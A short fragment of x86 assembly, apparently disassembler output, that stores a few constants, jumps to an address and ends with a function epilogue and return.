mov eax, 1
mov dword [0x1029f28c], 0x1de7
mov dword [esp + 0x24], eax
jmp 0x102357fb
mov eax, dword [esp + 0x34]
lea esp, [ebp - 4]
pop esi
pop ebp
ret